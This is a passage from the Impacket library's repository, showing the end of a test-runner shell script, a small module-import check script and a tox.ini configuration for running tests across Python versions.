-i 75 | coverage erase 76 | rm -f ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage 77 | fi 78 | 79 | if grep -q ERROR $OUTPUTFILE; 80 | then 81 | echo "ERRORS found, look at $OUTPUTFILE" 82 | exit 1 83 | else 84 | echo "NO ERRORS found, congrats!" 85 | rm $OUTPUTFILE 86 | exit 0 87 | fi 88 | 89 | echo ================================================================================ 90 | echo IMPORTANT: Dont forget to remove all the .coverage files from tests/* and subdirs 91 | echo if you want newly freshed coverage stats 92 | echo ================================================================================ 93 | -------------------------------------------------------------------------------- /tests/walkmodules.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # From https://stackoverflow.com/questions/1707709/list-all-the-modules-that-are-part-of-a-python-package 3 | import pkgutil 4 | import impacket 5 | package=impacket 6 | for importer, modname, ispkg in pkgutil.walk_packages(path=package.__path__, 7 | prefix=package.__name__+'.', 8 | onerror=lambda x: None): 9 | try: 10 | __import__(modname) 11 | except Exception as e: 12 | import traceback 13 | traceback.print_exc() 14 | print(e) 15 | pass 16 | -------------------------------------------------------------------------------- /tox.ini: -------------------------------------------------------------------------------- 1 | # content of: tox.ini , put in same dir as setup.py 2 | [tox] 3 | envlist = py27,py36,py37,py38,py39 4 | [testenv] 5 | basepython = 6 | py27: python2.7 7 | py36: python3.6 8 | py37: python3.7 9 | py38: python3.8 10 | py39: python3.9 11 | changedir = {toxinidir}/tests 12 | deps=-rrequirements.txt 13 | coverage 14 | passenv = NO_REMOTE 15 | commands_pre = {envpython} -m pip check 16 | commands=./runall.sh {envname} > /dev/null 17 | --------------------------------------------------------------------------------